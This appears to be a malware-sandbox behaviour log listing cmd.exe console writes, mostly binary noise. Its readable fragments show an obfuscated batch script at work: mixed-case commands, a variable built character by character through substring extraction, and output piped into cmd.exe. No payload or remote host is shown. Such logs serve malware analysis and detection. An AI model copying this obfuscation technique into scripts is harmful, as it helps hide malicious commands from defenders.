Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.1. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.H.S..........."v..R.`.1.....7..6........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.8.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......%......................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6.8. .G.E.Q. .8.4. .+...........................D.......%..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......1...........................4. .+.............................1.....%...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .+..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......=.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......C.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......I......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......O...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......V...............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ .R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......b...........................\.R..@..X.R.H.S..........."v..R.`.1.....7..6........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.9.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......n.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......t...........................n..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.9. .G.E.Q. .8.4. .z...........................D.......t..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. .z.............................1.....t...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .z..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ .R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.H.S..........."v..R.`.1.....7..6........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .7.8.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................7.8. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.H.S..........."v..R.`.1.....7..6........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.2.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.2. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......*.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......0.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......6......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......<...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......C...........................PY.w........z.P.x.P........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......O...........................\.R..@..X.R.H.S..........."v..R.`.1.....7..6........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .2.9.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......[.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......a...........................[..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................2.9. .G.E.Q. .8.4. .g...........................D.......a..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......m...........................4. .g.............................1.....a...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .g..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......y.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.H.S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.3.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.3. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .7.0.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................7.0. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......#......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......)...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......0...............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......<...........................\.R..@..X.R.H.S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .2.2.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......H.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......N...........................H..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................2.2. .G.E.Q. .8.4. .T...........................D.......N..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......Z...........................4. .T.............................1.....N...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .T..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......f.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......l.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......r......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......x...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .5.7.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................5.7. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.H.S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .5.4.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................5.4. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......+...........................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.4.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......7.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......=...........................7..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.4. .G.E.Q. .8.4. .C...........................D.......=..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......I...........................4. .C.............................1.....=...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .C..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......U.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......[.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......a......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......g...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......o...............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......{...........................\.R..@..X.R.H.S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .2.5.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................2.5. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .1.6.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................1.6. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......................................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R...S..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.9.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......%.............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......+...........................%..........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.9. .G.E.Q. .8.4. .1...........................D.......+..................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......7...........................4. .1.............................1.....+...........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .1..............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......C.............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......I.................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......O......................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......U...........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......\...............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
